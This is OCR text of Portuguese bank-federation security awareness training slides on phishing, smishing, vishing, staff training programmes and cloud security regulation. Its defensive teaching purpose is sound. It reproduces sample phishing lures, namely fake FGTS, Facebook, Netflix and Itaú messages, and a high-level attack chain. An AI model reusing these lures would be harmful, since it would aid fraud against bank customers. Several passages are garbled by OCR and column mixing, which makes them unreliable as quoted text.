* 14.2 Treinar membros da for¢a de trabalho 12.6.1 Programa de conscientizacdo treinamento em seguranca da informagao
para reconhecer ataques de engenharia 12.6.2 Abordagem de treinamento * 6.4 Seguranca em recursos humanos

12.6.3 Atualizagdo de treinamento
12.6.3.1 Conteudo de treinamento
12.6.3.2 Uso aceitavel de tecnologias

social

* 14.3 Treinar membros da forca de trabalho
nas melhores praticas de autenticacao

* 14.4 Treinar a forca de trabalho nas
Melhores Préticas de Tratamento de Dados

* 14.5 Treinar membros da forca de trabalho
sobre as causas da exposi¢ao ndo
intencional de dados

* 14.6 Treinar Membros da forca de trabalho
no Reconhecimento e Comunicagao de
Incidentes de Seguranca

* 14.7 Treinar a forca de trabalho sobre como
identificar e comunicar se o seus ativos
corporativos estéo faltando atualizagbes de
seguranca

+ 14.8 Treinar a forca de trabalho sobre os
perigos de se conectar e transmitir dados
corporativos em redes inseguras

* 14.9 Conduzir treinamento de
competéncias e conscientizagéo de
seguranga para funcdes especificas
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Contexto e casos reais de incidentes
Introducéo ao tema de conscientizacdo em Seguranca da Informacéao
Visao geral das etapas para a implementacao do programa

Métodos, praticas e abordagens em conscientizacdo e treinamentos
Phishing
Comportamento seguro

Consideracoes Finais
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Algumas das maiores causas de vulnerabilidades sdo causadas por erros humanos, entre estes estéo a
sobrecarga de trabalho e exaustdo, cobranca por maior produtividade e distracdo. Segundo uma pesquisa
realizada pela Universidade de Stanford (2022) com funcionarios foi concluido que 26% ja cairam em ataques de
phishing (por email ou sms) e 32% ja atenderam pedidos de hackers simulando situac6es de trabalho. Destes a
maioria estava cansada (51%), estressada (50%), distraidos (50%) ou trabalhando rapido (48%).

Um ataque cibernético & uma empresa envolvendo seu sistema de seguranca pode gerar perdas gigantescas,
além de roubo de dados e paralisagao de servico. Um relatério da IBM mostra que as perdas globais com
ataques cibernéticos devem chegar ao valor de US$ 10,5 trilh6es (R$ 52,35 trilhdes) anualmente até 2025.
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Livecoine Por que funcionarios cometem erros que comprometem a ciberseguranca

Exigéncia por maior produtividade, sobrecarga de trabalho e exaustao sdo algumas das causas de
erros humanos no trabalho que comprometem a ciberseguranca de seus empregadores, apontaram
os funcionarios entrevistados em um estudo da Universidade de Stanford de 2022. Dos
respondentes, 26% ja cairam em ataques de phishing — por e-mail ou mensagens de texto — e 32%
que sofreu em seu sistema. ja atenderam pedidos de hackers que simulavam situagdes reais no contexto de trabalho. A maioria
deles teve esse tipo de comportamento quando estavam cansados (51%), estressados (50%),
distraidos (50%) ou trabalhando rapido (48%).

CEOQO explica como a Ledger foi hackeada: “ex-funcionario
caiu em phishing”

A Ledger, popular fabricante de carteiras de criptomoedas, revelou detalhes do hack

B cnN Brasil E) oNN Brasil
Twitter diz que ataque de phishing a funcionarios levou a Golpistas usam deepfake de diretor financeiro e roubam US$
invasao de contas 25 milhdes

O Twitter, que teve seus sistemas internos invadidos hé cerca de duas semanas, disse Um funcionério do setor financeiro de uma multinacional foi induzido a pagar US$ 25

na quinta-feira (30) que o incidente atingiu um pequeno... milhGes a fraudadores que usaram a tecnologia deepfake. ..

31 de jul. de 2020 -

@ Olhar Digital

Como “Fraude do CEQ” pode resultar em prejuizo de bilhdes
para empresas por meio de engenharia social

Entenda como funciona o o golpe do tipo Business Email Compromise (BEC),
conhecido também como “Fraude do CEO”

@ Oihar Digital

Phishing ja causa prejuizo de US$ 1.500 por funcionario em
grandes empresas dos EUA

O uso de armadilhas digitais — o phishing — levou a prejuizos que aumentaram quase 4
vezes desde 2015, passando de US$ 3,8 milhdes anuais...

De acordo com o CIS Controls, os proprios usuarios, intencionalmente ou ndo, podem causar incidentes como resultado do manuseio incorreto de dados
sensiveis, enviar um e-mail com dados sensiveis para o destinatario errado, perder um dispositivo de usuério final portétil, usar senhas fracas ou usar a mesma senha
gue usam em sites publicos.
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Segundo a ISO 27002, o programa de conscientizacdo em seguranca da informacéo deve ser estabelecido alinhado com as politicas e procedimentos relevantes
de seguranca da informacdo da organizagéao, levando em consideracéo as informacfes da organizacdo a serem protegidas e os controles a serem implementados

para proteger a informacao.

Elaboracéo de
treinamento considerando
setor e funcéo especifica
além de informacdes
gerais principais.

Aplicagcéo de
treinamento

Testes de
compreensao e
notificacdes

Constante
atualizacao
de material.

De acordo com aresolucdo 4893, Art. 3° A politica de seguranca cibernética deve contemplar, a implementacdo de programas de capacitacado e de avaliacéo

periédica de pessoal.



Implementacao do
Programa de Treinamento
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* Ostreinamento de seguranca devem conscientizar
todo o pessoal sobre a politica e procedimentos de
seguranca da informacéo.

» Disponibilizar de forma periédica publicacdes
(exemplos: artigos, pilulas de conhecimento, e-
books, infogréficos) relacionadas ao tema de
seguranca, com situacdes praticas que podem
impactar a empresa no dia a dia.

* Incluir ao final dos treinamentos (quando aplicavel)
testes, visando medir o nivel de conhecimento dos
colaboradores nas campanhas.

* Promover eventos, contendo por exemplo:
palestras/workshops, novidades sobre o mercado,
processos e em segurancga, dindmicas em grupo.

+ Atualizar periodicamente os treinamentos
obrigatérios aos novos colaboradores, incluindo
praticas adotadas pela empresa em Seguranca da
Informacéo e Protecdo dos Dados, essa medida

aumentara a cultura de segurancga na Organizagao.

De acordo com o PCI DSS, o requisito 12.6.1, menciona que 0 programa
formal de conscientizacdo sobre seguranca deve ser implementado para
conscientizar todo o pessoal sobre a politica e procedimentos de
seguranca da informacgao da entidade e sua fungéo na protecdo dos dados do

titular do carntao.
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Instruir os lideres das areas a incentivarem os
liderados a realizarem/participarem das campanhas
de treinamentos disponibilizadas pela Organizagéo.
Essa medida pode ser implementada por meio do
envio de comunicados direcionados para os lideres,
por exemplo, envio de e-mail para a caixa dos
executivos.

Caso a empresa tenha um aplicativo de
comunicacgao interna, considere a inclusao de temas
relacionados a Seguranca da Informagéo.

-

» Gerar e monitorar indicadores para fins de
acompanhamento das participacdes e resultados
dos treinamentos.

* Os resultados extraidos do treinamento podem ser
utilizados para balizar acoes de melhoria no
processo, por exemplo:

* ldentificar colaboradores ou areas que néo tiveram
um desempenho aceitavel nos treinamentos;

* ldentificar colaboradores que néo realizaram os
treinamentos;

* ldentificar agdes de melhoria no plano de
comunicacao; entre outros.



Cenério de ameacas e a politica e procedimentos de seguranca:

E de extrema importancia que o
treinamento conscientize o publico
da importancia individual de cada
um e suas responsabilidades com
os procedimentos de seguranca.

O treinamento deve garantir
que o publico sejainformado
sobre o cenario de ameacas
atuais, suaresponsabilidade
pela operacao dos controles
de segurancarelevantes e da
possibilidade de acessar
assisténcia e orientacao
guando necessario (exemplo:
alerta de e-mails suspeitos de
phishing)

O treinamento deve conter
0S possiveis meios de
contato e resposta em caso
de suspeita ou sucesso do
ataque como acionamento de
assisténcia.

O cenério de ameacas deve apresentar
0 contexto do ataque, as medidas de
seguranca e prevengao a serem
tomadas e os meios notificacéo e
resposta.

Por exemplo: Protegdo com senhas,
separacao de conteudo corporativo e
pessoal, e-mails suspeitos, etc.

FEBRABAN



Como Definir o Conteudo do Treinamento?

Os treinamentos devem considerar:

Conhecimento gerais de Seguranca da informacdo no treinamento para funcionarios, parceiros, fornecedores e outros relacionados , tais como: controle
de acesso, protecdo de dados, armazenamento e transmissdo segura de informacfes, descarte seguro de ativos, entre outros.

Treinamento de funcionarios para serem capazes de identificar ataques comuns como engenharia social, phishing, etc. E aplicarem cuidados basicos
como higiene Cibernética, senhas seguras, protecdo de credenciais, etc.

Explicar as consequéncias das violacdes de Seguranca Cibernética e os possiveis prejuizos (tanto individuais como empresariais).

Conscientizar os funcionarios sobre a importancia de buscar assisténcia em caso de suspeita de infracdo ou primeiras respostas em caso de incidente,
bem como divulgar os canais oficiais para notificar incidentes.

Implementar treinamento baseando-se em funcgéo, setor empresarial, incluindo diferentes métodos e abordagens.

FEBRABAN
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Aplicacéo de notificacoes e testes:

O programa de conscientizagdo sobre seguranca deve ser
revisado constantemente, e atualizado conforme necessario
para lidar com quaisquer novas ameagas e vulnerabilidades que
possam afetar a seguranca. O PCl recomenda a reviséo pelo
menos uma vez a cada 12 meses.

Atualizacbes

E indicado também a notificag&o com alertas de seguranca da
informacéo (via e-mail, noticias, lembretes, etc.) de forma

constante para manter o publico atualizado e sempre atento as [Nl eEbLE
possiveis ameacas.

Visando garantir a compreensao de todas as pessoas internas a
empresa em relagdo ao treinamento de conscientiza¢do vale a
aplicacao periddica de testes, sendo estes por meio de
simulacdes de ataques (e-mails de phishing, mensagens
suspeitas, verificacdo de atualizagdes de sistema, etc.)
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Os treinamentos podem ser mais especificos dependendo da area de atuagdo do setor ou da empresa em si.

Por exemplo, em caso de aplicacdo de treinamento no setor financeiro a equipe pode receber tentativas de BEC se passando por executivos pedindo para transferir
dinheiro ou recebera e-mails de parceiros comprometidos ou fornecedores solicitando a alteracéo das informag6es da conta bancéria para o préximo pagamento.

Posturas regulatorias

O treinamento também deve levar em
consideracao as diferentes posturas
regulatérias e de ameacas da empresa.

Métodos

Os diferentes métodos que podem
ser usados para fornecer
conscientizacao e educacao sobre
seguranca incluem posteres, cartas,
treinamento online, treinamento
presencial, reunides de equipe e

incentivos.

Registros Treinamentos especificos
Reconhecimentos de pessoal podem As empresas financeiras podem ter mais
ser registrados por escrito ou treinamento relacionado a conformidade
eletronicamente. sobre manuseio e uso de dados,

empresas de saude sobre como lidar
com dados de saude e comerciantes
para dados de cartdo de créedito.



Introducao ao Phishing



O que € Phishing? FEBRABAN

Vetores de Ataque

“A aplicacao deliberada de Websi

Sair

=
(¢

tecnicas fraudulentas
destinadas a manipular
alguem a divulgar
Informacodes ou realizar acoes
gue podem resultar na

divulgacao destas
informacoes.”

Email
Telefone
Cara a Cara

O

Correios

Ciclo de Vida
Engenharia
Social
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Phishing € uma tentativa de roubar ilegalmente informacdes pessoais e financeiras
através do envio de uma mensagem aparentemente legitima. Uma mensagem de phishing
normalmente inclui pelo menos um link para uma pagina falsa ou um anexo com conteudo

fraudulento.

Email
Usuario abre o
e-mail
fraudulento

Anexos
Usuario faz o
download do

anexo
fraudulento

Links
Usuario clica no
link fraudulento

Pagina
Website
fraudulento é
aberto

Formulério
Usuario é induzido
a preencher
informacgbes
pessoais (usuario,
senha etc)

Phishing
_____ p As informagc:)es
pessoais sado
coletadas pelo
hacker e/ou é
feito o download
de um malware



Estatisticas por Industria

Manufacturing

Information

REE]

Healthcare

Accommodation

Public

Finance

Education

Fonte: 2023 DBIR

_ 14%

— 12%
— 12%
I — 12%
— 12%
I 10%

I 9%

— 7%

Ao lado temos uma viséo de como as
indUstrias estao suscetiveis aos ataques
de phishing, mesm m control

ran nscientizaca
| [ res nenhuma.industri 3
m 0% livr Phising.

Mesmo em industrias diferentes a
porcentagem de usuarios que clicam em
links de phishing ou anexos continuam

como a porta de entrada do ofensor.



Modus Operandi

Phishing

Acesso Remoto (C2)

Escalagéo de Privilégios

Movimentacao lateral
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- Extracdo de dados
- Espionagem de Usuario
- Comprometimento

1. Envio de e-mail contendo
arquivo malicioso

« Um atacante desenvolve um
malwar ifi t

alvo.

* O malware pode estar contido
em um e-mail ou em um
endereco na intemet.

- Oalvoabre oe-maile e
infectado sem que haja
intervencéo do antivirus.

. DA A
mmmmlmw inas)*

2. Controle Remoto da
estacdo comprometida

+ Uma vez comprometida, a
estagdo passa a executar

pelo atacante.

* O atacante planta um sistema
de persisténcia que permita
maior resiliéncia no controle do
alvo.

3. Comprometimento do core
do sistema infectado

+ S&0 encontradas falhas na
3 lho controlada
para a execugdo de uma
laco de privilégios.
+ S&o extraidas credenciais de
acesso para utilizacdo em um
posterior ataque de

movimentacgdo lateral.

4. Infeccao de outros ativos
do ambiente

+ Sdo identificadas estacdes de

rabalh rvidores no
ambiente que possam ser
. .

mﬂmﬂﬂmﬂw [ Y id

+ Atagues seguidos de pass-the-
hash ou pass-the-ticket podem
ser utilizados para
comprometer o ambiente
inteiro

5. Atividade planejada pelo
atacante

n am r
controle o suficiente sobre o
ambiente alvo para que suas

ses d ~
espionagem possam ser
executadas sem interferéncia
dos administradores da rede
gue eventualmente

identifiguem o ataque.



O que é Smishing e Vishing? FEBRABAN

Smishing: Vishing:
Smishing é um ataque de O vishing, ou phishing de voz, € um
ciberseguranca de phishing tipo de ataque de phishing que

realizado por mensagens de texto
moveis, também conhecido como
phishing por SMS. Como uma
variante de phishing, as vitimas
sao enganadas a fornecer
informacdes sensiveis a um
atacante disfarcado.

ocorre por meio de chamadas
telefénicas.

Vishing € a préatica de enganar as
pessoas para que compartilhem
informacdes confidenciais por meio
de ligacOes telefonicas. As vitimas de
vishing sao levadas a acreditar que
estao compartilhando informacdes
confidenciais com uma entidade

(servicos de mensagens curtas, confiavel, como autoridade fiscal,

mais conhecido como mensagens seu empregador, uma companhia

de texto) e "phishing". aérea que usam, ou alguém que
conhecem pessoalmente. O vishing

também é conhecido como "phishing
de voz".

Como a definicdo de smishing
sugere, o termo combina "SMS"



https://www.kaspersky.com.br/resource-center/preemptive-safety/phishing-prevention-tips
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Engano de imagem por IA e deepfakes
+ Asimagens geradas por |A sdo visualmente mais impressionantes e eficazes em comparagdo com as campanhas anteriores. A IA foi concebida para criar imagens atraentes e provocadoras
e melhora-las ao longo do tempo, considerando as perspectivas:
+ AIO com IA aproveitando-se das redes sociais, e
* AlOcomlAincorporada nos ciberataques.

+ Exemplo préatico 1: Os agentes de ameacas utilizam imagens geradas por |IA para difundir propaganda nas redes sociais.
+ Exemplo pratico 2: Os agentes da ameaga utilizam um video deepfake passando-se por um executivo e enganando um funcionério das finangas para que ernvie milhdes para uma conta.
+ Exemplo pratico 3: Imagens convincentes geradas por IA aumentam o envolvimento dos empregados em campanhas de phishing.

Phishing

+ Asferramentas de |A oferecem aos agentes de ameacgas capacidades sofisticadas, incluindo a criagdo de mensagens electrénicas fraudulentas.

* AlA melhora as campanhas de phishing com gramatica, pontuacao e pontos de discussdo mais corretos nas campanhas de whaling e BEC.

+ Exemplo préatico: o agente da ameaca utiliza a |A para gerar uma mensagem de correio eletrdnico que utiliza a linguagem para se passar por um executivo numa fraude.

Vishing

* Os agentes da ameaca podem utilizar ferramentas de clonagem de voz baseadas em IA no vishing para fraude financeira e acesso ndo autorizado a sistemas protegidos por
autenticacao biométrica.

* Os agentes da ameaga podem utilizar a clonagem de voz em varios esquemas, incluindo passando-se pela familia de uma vitima, por um executivo que autoriza uma transagéo
financeira ou enganando a autenticagédo biométrica para acessar um sistema protegido.

* Os agentes de ameacas podem utilizar ferramentas VCaaS pagas para efetuar operacgfes de vishing.

+ Exemplo pratico: Um agente de ameagas utiliza uma ferramenta VCaaS para clonar a voz de um executivo ou de uma pessoa com autoridade para aprovar uma transacgao financeira.

IA como um servigo (Al-As-a-Service)

+ A Deloitte CTI continua a observar agentes de ameagas que colaboram em foéruns clandestinos sobre formas de utilizar a IA e fraudes.
+ Asferramentas de |A maliciosas identificam vulnerabilidades para potencial exploragéo.

* Os agentes clandestinos anunciaram chatbots de IA personalizados

+ Personalizados concebidos para criar programas maliciosos.
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Fique atento ao e-mail remetente (se
condiz com e-mail oficial da empresa que

De Atendimento FGTS < contatodB@ caixa.gov.brs
Assunto Sague FGTS disponivel. Protocole N 2C4D3B1A

Fara financeiro

FETS

FUNDD DE GARANTIA DO TEMPD DE SERVICD

Prezado cidadao,

/m-se disponivel o0 saque do FGTS. Confira o Calendario FGTS 2017,

Fique atento a

- Mo CPF vinculado a este e-mail, consta um =saldo no valor de RE7212,35 disponivel para sague.
terr_nos, generncos Visto que o valor disponivel & superior a R£3000,00 o titular devera dirigir-se a uma agéncia da Caixa
ao invés do contato Econdmica Federal portando:

direto pelo Seu - Carteira de Trabalho ou Termo de Rescisdo
nome - Documento de identificagdo com foto
- Bwtrato completo do FGTS atualizado

Para clientes da Caixa, serd possivel através do site www.contasinativas.caixa.gov.br solicitar o crédito

automatico na conta. Caso ndo seja, na agéncia, solicite o depdsito em um banco de sua preferéncia ou o

sague em especie.

O extrato gue devera ser levado junto com os outros documentos ja citados, encontra-se abaixo. Cliqgue no

botdo para fazer o download e depois imprimi-lao.

Extrato FGTS 2017

RTXF7K43IUQBOSSLMFLES0AVYDNEHGIWCE32

Atenciosamente,
Caixa Econdmica Federal - FGTS

esta enviando o e-mail)
b SR ¥

15

Verificar se o contetdo do
e-mail de fato faz sentido
em seu contexto aplicado
(exemplo: nunca me
cadastrei na plataforma x
e estou recebendo e-mail
de tal plataforma)

Verificar se o0 e-mail
possui erros ortograficos
ou links/ documentos
anexados



facelook.cixxé.com/log

facebook s

Log into Facebook

Recover Your Account

A fatura falhou - conta bloqueada

Oi

Estamos tendo problemas com suas informagoes de faturamento atuais.
Tentaremos novamente, mas por enquanto vocé pode atualizar seu
MASTERCARD em seus detalhes de pagamento.

ATUALIZAR CONTA AGORA

Estamos aqui para ajudar quando vocé precisar. Visite a Central de Ajuda
para mais informagdes ou entre em contato conosco .

Seus amigos no Netflix

< +5584991319397 . O

Adicionar aos

Bloquear nimero
contatos

junho de

. Itau: Evite bloqueio de sua
conta, realize o cadastro
obrigatorio. Acessar:

itau.cadastramobile.com/?
id=

Notificacdo de Processo Trabalhista

Caro(a) _

Esta € uma notificaco referente ao processo trabalhista nimero 902695222

Informamos que a notificacao foi enviada ao endereco fornecido e esta aguardando seu recebimento
Os autos do processo estdo disponiveis para acesso a seguirAutos do processo

Atenciosamente,

TRT - 13* Vara Trabalhista

FEBRABAN



Veja a seguir cinco dicas parate
ajudar a identificar um e-mail de
phishing:

Se vocé receber um e-mail que ndo estava esperando ou que possua
uma oferta de alto valor que parece boa demais para ser verdade,
provavelmente trata-se um e-mail malicioso.

Veja se ha algum texto desconhecido ou suspeito no endereco de e-
mail e no nome de dominio do remetente. Os cibercriminosos
costumam usar variagoes discretas, como substituir uma letra por um
namero (por exemplo, um 'o' por um '0'), para enganar os destinatarios
a acreditar que a mensagem é de um contato confiavel.

Em algumas empresas, € utilizado a tag [EXT] no inicio da linha do
assunto como um indicador de que o e-mail veio de um remetente
externo. Use esse recurso para ajudar a determinar se o remetente é
confiavel.

FEBRABAN

Se vocé tiver um meio de contato alternativo para o remetente, como
um numero de telefone secundario, ligue ou envie uma mensagem de
texto diretamente para essa pessoa para confirmar se o envio do e-
mail suspeito foi legitimo.

Vocé pode comparar a linguagem utilizada pela pessoa em conversas
anteriores. Uma expressao incomum ou um tom de escrita divergente,
por exemplo, sdo boas indicagbes de que o remetente foi falsificado
ou comprometido.

Se vocé suspeitar que um e-mail foi enviado por um cibercriminoso,
faca uma pausa de um minuto antes de agir sobre ele. Vocé nao
precisa responder. Em vez disso, as diretrizes acima podem te ajudar
a decidir o que fazer a seguir. Afinal, denunciar e-mails suspeitos é
sempre uma opcao.



Comportamento Seguro

FEDERAGAO
BRASILEIRA
DE BANCOS




Previna-se contra cédigos maliciosos e phishing:

Mantenha o seu computador seguro, com 0sS
programas atualizados e com todas as atualizacbes
aplicadas; como antimalware e firewall pessoal,

Seja cuidadoso ao acessar links reduzidos.

FEBRABAN

Respeite a privacidade:
» Na&o divulgue, sem autorizacao, imagens em que outras

pessoas aparecam;

» Nao divulgue mensagens ou imagens copiadas do perfil
de pessoas que restrinjam 0 acesso;

» Tente imaginar como a outra pessoa se sentiria ao
saber que aquilo esta se tornando publico.

» Seja cuidadoso nas redes sociais.

O Nota: Essas informacdes podem ser utilizadas
para elaboracao de atagues.




4 Passos para ficar
atento

Questione
todo e-mail de negdcios recebido de
origem duvidosa

Check

se os links sdo legitimos antes de
clicar

Evite
fornecer detalhes de senhas por Email

ou telefone

Denuncie

e-mails suspeitos aparentemente legitimos,

visitando diretamente seu website e
formulario de contato

FEBRABAN

4 dicas para NAO ser a proxima
VITIMA

Aprenda a identificar e-mails fraudulentos

Phishing n&do se referem apenas a Internet Banking
No website, fique atento aos sinais de phishing

Falsa sensacdo de seguranca e urgéncia



Smishing

Recebeu SMS solicitando para ligar no
0800 ou outro numero que vocé
desconhece? Procure um canal oficial.

Nao clique em links ou execute arquivos
anexados a mensagens suspeitas,
recebidas por SMS.

Nao instale aplicativos de links recebidos
via SMS.

Desconfiou do SMS? Confirme o
remetente e a mensagem por outros
meios, por exemplo, ligacdo ou consulta
ao site oficial da empresa.

Analise o texto e verifique se contém erros
ortograficos, pontuagéo, espacamentos.
Na maioria dos casos ocorrem erros de
portugués.

AcoOes Preventivas e Recomendacoes

Phishing

Nunca digite sua senha ou chave de
seguranca apos clicar em links recebidos
por e-mail.

N&o acesse links ou execute arquivos
anexados a mensagens suspeitas,
recebidas por e-mail.

N&o instale aplicativos desconhecidos e
gue nédo tenham verificagdo da sua loja de
aplicativos.

Desconfiou do e-mail? Confirme o
remetente e a mensagem em canais
oficias da empresa.

Quando estiver em um site, verifique se
ele tem o simbolo de seguranca e ndo
cliqgue em promoc¢des com promessas
milagrosas.

Utilize sistema operacional e antivirus
originais e os mantenha sempre
atualizados.

FEBRABAN

Vishing

« Nao forneca informacdes pessoais ou

confidenciais por telefone, a menos que
tenha certeza absoluta de que esta
lidando com uma fonte confidvel. Se
necessario, entre em contato diretamente
com a instituig&o.

Verifique a identidade de origem: Solicite
informacbes como seu nome completo,
namero de funcionario ou qualquer outra
informacdo relevante. Anote esses
detalhes para referéncia futura.

Pesquise o numero de telefone: Antes de
retornar uma chamada, pesquise o0
namero de telefone online para ver se ha
relatos de golpes associados a ele.
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Vocé acha que fol “pescado”? Saiba o que fazer!

Comunique a equipe de Verifique sua conta bancaria e
Seguranca da Informacao e TI. procure por transacdes suspeitas.
Trogue as senhas de acesso a Mantenha seu antivirus sempre

emails, internet banking etc. Atualizado.
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

INTERNATIONAL ISO/IEC

NORMA ABNT NBR STANDARD 27002
BRASILEIRA ISO/IEC

27701 =

COMPLIANT s = - ) .
dirtrizes National Institute of
Standards and Technology

Primeira ed:
n: ity
'
Técnicas de seguranga —
., Extens@o da ABNT NBR ISO/IEC 27001 e
ABNT NBR ISO/IEC 27002 para gestdo da
and

R

Conformidade: Requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com ABNT NBR ISO, PCI-DSS, NIST, entre outros
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Agora que aprendemos sobre as atividades relacionadas a Conscientizacdo e Treinamentos, relembre os principais termos e conceitos
apresentados neste material:

Implementacédo de treinamento: Deve ser realizado um programa de treinamento de conscientizagcado de seguranca da informacgéo seguindo as politicas
internas da empresa contendo boas praticas de seguranca da informacao e responsabilidades individuais, conhecimento de ameagas comuns e meios de
resposta e contato.

Atualizacdes e testes: O treinamento deve ser atualizado e revisado periodicamente. Também deve ser aplicado a pratica de notificacbes para
funcionérios visando o constante lembrete de conscientizacdo, além de aplicacéo de testes para verificar a compreenséo e preparacdo de internos diante a
ameacas.

Especificacdo por setor: Os treinamentos e testes podem variar de acordo com o setor de aplicagéo interna, desta forma cada setor tera topicos e
prioridades variadas em relacdo a conscientizacao de possiveis ameacas.



Modulo: Cloud Security
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Requisitos — Cloud Security

Este material foi elaborado de acordo com as diretrizes da ISO 27017, bem como foi considerado os requisitos de seguranga da informagéo relacionados ao tema de

Resolucao n° 4893

acordo com as normas e frameworks apresentado abaixo:

ISO 27017 PCI DSS CIS Controls

NIST

@

¥

¢

5. Politicas de seguranca da informag&o Al.1 Os prestadores de servicos 1.1 Estabelecer e manter um inventario ID.AM-04: Estoques de servigos prestados « Art. 11
o multilocatarios protegem e separam todos detalhado de ativos corporativos por fornecedores sdo mantidos

6. Organizacdo da seguranca da : -  Art. 12

. ~ os ambientes e dados do cliente. N . .

informagéo 11.4 Estabelecer e manter uma instancia CM-04: Atividades e servicos de . At 15

7 Sequranca dos recursos humanos Al.2 Os prestadores de servicos isolada de dados de recuperacéo prestadores de servigos externos séo :

- Segurang u u multilocatarios facilitam o registro e a 13.3 Implantar uma solugo de detecgio monitorados para encontrar eventos  Art. 16
8. Gestao de ativos (r:ﬁzz(t)es;a aincidentes para todos os de intruso de rede potencialmente adversos . Art. 17
9. Controle de acesso ’ ) ~

0. Cii fi 11.4.3 O teste de penetracdo extemna é ig'zgiar ng((j;regc:)s d;:?;?g:gﬁ?ﬁ;%i © A2l
10. Criptografia realizado 9 cap P « Art. 25

11. Segurangca fisica e ambiental
12. Seguranca de operagdes
13. Seguranca das comunicagdes

14. Aquisicdo, desenvolvimento e
manutencgao de sistemas

15. Relacionamentos com fornecedores

16. Gestdo de incidentes de seguranca da
informacéo

17. Aspectos de seguranca da informagéo
da gestao de continuidade de negdcios

18. Conformidade

11.4.4 Vulnerabilidades exploraveis e
fragilidades de seguranga encontradas
durante o teste de penetragdo séo
corrigidas

11.4.7 Os prestadores de servigos em
nuvem/hospedados por terceiros oferecem
suporte a seus clientes para testes de
penetracdo externa de acordo com os
Requisitos 11.4.3 e 11.4.4.

aplicacdes

9
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Incidentes Cibernéticos FEBRABAN

2024 Cloud Security Report . x
91% dos entrevistados estdo preocupados com 0 aumento de

O Relatério Global de Seguranca na Nuvem de 2024, da
Check Point Software expde um aumento nos incidentes
de seguranca na nuvem, marcando um crescimento de 24%
em 2023 para 61% em 2024 — um aumento de 154%.

ameacas cibernéticas mais sofisticadas, relacionadas a riscos
desconhecidos e ataques zero day (dia zero), que ndo sao
detectadas por meio de ferramentas de segurang¢a convencionais.

_J

O relatério indica uma tendéncia preocupante: enquanto &
maioria das organizacdes continua a priorizar a deteccao
e monitoramento de ameacas, com foco em vulnerabilidades
conhecidas e padrées de comportamento malicioso, apenas
21% delas enfatizam a prevencao.

54% dos entrevistados enfrentam desafios na manutencéo de
padrdes regulatorios consistentes em ambientes de multiplas

aA o . I nuvens (multicloud). Além disso, 49% enfrentam dificuldades para
Importancia de Segurancga da Informacgao para as instituicoes

financeiras se faz necesséria devido a complexidade do
ambiente em um mercado alvo de ataques.

integrar servicos em nuvem em sistemas legados, muitas vezes
complicados por recursos de Tl limitados.

W,

A pesquisa sinaliza a adocao rapida de tecnologias de inteligéncia
artificial, com 91% das organizacg@es priorizando a IA para
melhorar a sua postura de seguranca frente as ameacas
cibernéticas.

_J

2024 Cloud Security Report - Check Point Software



Casos Reais

Ataques ao setor industrial agora visam Falha na nuvem da Microsoft atinge

infraestruturas de nuvem usuarios em todo mundo
Empresa disse nesta quarta-feira que recuperou servigos de nuvem depois que um problema na rede derrubou sua
https://www.cisoadvisor.com.br/ataques-ao-setor-industrial-agora-visam-ambientes-de-nuvem/ plataforma Azure

https:/Mww.cnnbrasil.com.br/economia/macroeconomia/falha-na-nuvem-
da-microsoft-atinge-usuarios-em-todo-mundo/

97% das empresas ja tiveram problemas de Ataques ao setor industrial agora visam
infraestruturas de nuvem

seguranca na nuvem

https:/Aww.ciso advisor.com.br/ataques-ao-setor-industrial-ago ra-visam-ambientes-de-nuvem/

https://canaltech.com.br/seguranca/97-das-empresas-ja-tiveram-problemas-de-seguranca-na-
nuvem-247768/#google_vignette
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Resolucao 4.893 - Banco Central

Cloud computing € uma tecnologia on-demand capaz de entregar servigcos de tecnologia de infraestrutura e aplicacfes de Tl para seus usuarios através de
servigcos disponiveis nainternet.

Segundo a resolucdo CMN n° 4.893 de 26/2/2021 , Sec&o Il - CAPITULO I, a definicdo de servicos Cloud que se aplicam as boas praticas recomendadas s&o sob
demanda e de maneira virtual, de ao menos um dos seguintes servicos:

D00




FEBRABAN

Dispde sobre a politica de seguranca cibernética e sobre 0os requisitos para a contratacdo de servicos de processamento e armazenamento de dados e de
computacdo em nuvem a serem observados pelas instituicdes autorizadas a funcionar pelo Banco Central do Brasil.

- 1‘\
A <

Art. 11. As instituicdes devem
assegurar que suas politicas,
estratégias e estruturas para
gerenciamento de riscos
contemplem a contratacdo de
servigos relevantes de
processamento e
armazenamento de dados e de
computacdo em nuvem, no Pais
ou no exterior.

‘P\ﬂ /\2

Art. 12. As instituicdes devem
adotar procedimentos de
seguranca, tais como: adocéo de
praticas de governanca
corporativa, protecao dos dados
processados ou armazenados,
segregacao de dados, qualidade
dos dados, entre outros.

‘P\ﬂ /\6

Art. 16. A contratacdo de
servicos em nuvem prestados
no exterior deve observar 0s
seguintes requisitos: definir os
paises e as regides em cada
pais onde os servi¢gos poderao
ser prestados e os dados
poderdo ser armazenados,
processados e gerenciados, e
prever alternativas para a
continuidade dos negdcio em
caso de disrupcdes, entre
outros.



Resolucao 4.893 - Banco Central FEBRABAN

E solicitado no Art. 15. que a contratacdo de servicos relevantes de processamento, armazenamento de dados e de computacdo em nuvem seja comunicada pelas
instituicoes referidas no art. 1° ao Banco Central do Brasil seguindo 0s seguintes requisitos:

!15

A <

A comunicacdo de que trata

0 caput deve ser realizada até dez
dias apoés a contratacdo dos
Servicos.
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As notificagBes solicitadas no Art. 15 devem seguir o seguinte modelo:




Resolucao 4.893 - Banco Central FEBRABAN

As notificagBes solicitadas no Art. 15 devem seguir o seguinte modelo:

Para maiores informag8es acesse a pagina de referéncia da BACEN:
https://www.bch.gov.br/estabilidadefinanceira/exibenormativo?tipo=Comunicado&numero=41782
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Dispde sobre a politica de seguranca cibernética e sobre 0os requisitos para a contratacdo de servicos de processamento e armazenamento de dados e de
computacdo em nuvem a serem observados pelas instituicdes autorizadas a funcionar pelo Banco Central do Brasil.

- AT
A <

Art. 17. Os contratos para
prestacao de servigcos relevantes
de processamento,
armazenamento de dados e
computacao em nuvem devem
prever: adocdo de medidas de
seguranca paraa transmissao
e armazenamento dos dados,
além disso, a manutencédo da
segregacado dos dados e dos
controles de acesso para
protecdo das informacdes dos
clientes, entre outros.

- 2'\
A

Art. 21. As instituicOes devem
instituir mecanismos de
acompanhamento e de controle
com vistas a assegurar a
implementacéo e a efetividade
da politica de seguranca
cibernética, do plano de acéo e
de resposta a incidentes e dos
requisitos para contratacao de
servicos de processamento e
armazenamento de dados e de
computacdo em nuvem,
incluindo: testes e trilhas de
